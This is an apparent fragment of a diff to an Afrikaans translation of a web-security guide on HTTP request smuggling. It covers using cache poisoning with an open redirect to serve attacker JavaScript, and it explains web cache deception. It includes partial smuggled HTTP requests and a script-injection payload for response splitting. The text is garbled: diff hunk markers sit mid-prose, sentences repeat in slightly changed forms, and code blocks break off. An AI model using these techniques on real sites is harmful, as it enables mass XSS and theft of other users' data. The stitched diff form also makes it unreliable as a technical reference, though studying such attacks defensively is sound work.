Hierdie tegniek word veral kragtig as 'n **Open Redirect kwesbaarheid** ontdek word of as daar 'n **op-site omleiding na 'n oop omleiding** is. Sulke kwesbaarhede kan benut word om die gekaste inhoud van `/static/include.js` te vervang met 'n skrif onder die aanvaller se beheer, wat essensieel 'n wye Cross-Site Scripting (XSS) aanval teen alle kliënte wat die opgedateerde `/static/include.js` versoek, moontlik maak.
Hieronder is 'n illustrasie van die benutting van **cache poisoning gekombineer met 'n op-site omleiding na oop omleiding**. Die doel is om die kasinhoud van `/static/include.js` te verander om JavaScript-kode te bedien wat deur die aanvaller beheer word:
```
@ -607,12 +606,12 @@ Daarna sal enige versoek vir `/static/include.js` die gekapte inhoud van die aan
### Gebruik van HTTP request smuggling om web cache misleiding uit te voer <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
> **Wat is die verskil tussen web cache poisoning en web cache deception?**
> **Wat is die verskil tussen web cache poisoning en web cache misleiding?**
>
> - In **web cache poisoning** veroorsaak die aanvaller dat die toepassing 'n paar kwaadwillige inhoud in die cache stoor, en hierdie inhoud word vanaf die cache aan ander toepassingsgebruikers bedien.
> - In **web cache deception** veroorsaak die aanvaller dat die toepassing 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache.
> - In **web cache misleiding** veroorsaak die aanvaller dat die toepassing 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache.
Die aanvaller stel 'n gesmokkelde versoek op wat sensitiewe gebruiker-spesifieke inhoud opvra. Oorweeg die volgende voorbeeld:
Die aanvaller stel 'n gesmokkelde versoek saam wat sensitiewe gebruiker-spesifieke inhoud opvra. Oorweeg die volgende voorbeeld:
```markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
@ -673,7 +672,7 @@ Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
```
Sal hierdie antwoorde genereer (let op hoe die HEAD antwoord 'n Content-Length het wat die TRACE antwoord deel van die HEAD liggaam maak en sodra die HEAD Content-Length eindig, word 'n geldige HTTP antwoord gesmokkeld):
Sal hierdie antwoorde genereer (let op hoe die HEAD antwoord 'n Content-Length het wat die TRACE antwoord deel van die HEAD liggaam maak en sodra die HEAD Content-Length eindig, word 'n geldige HTTP antwoord gesmuggle):
```
HTTP/1.1 200 OK
Content-Type: text/html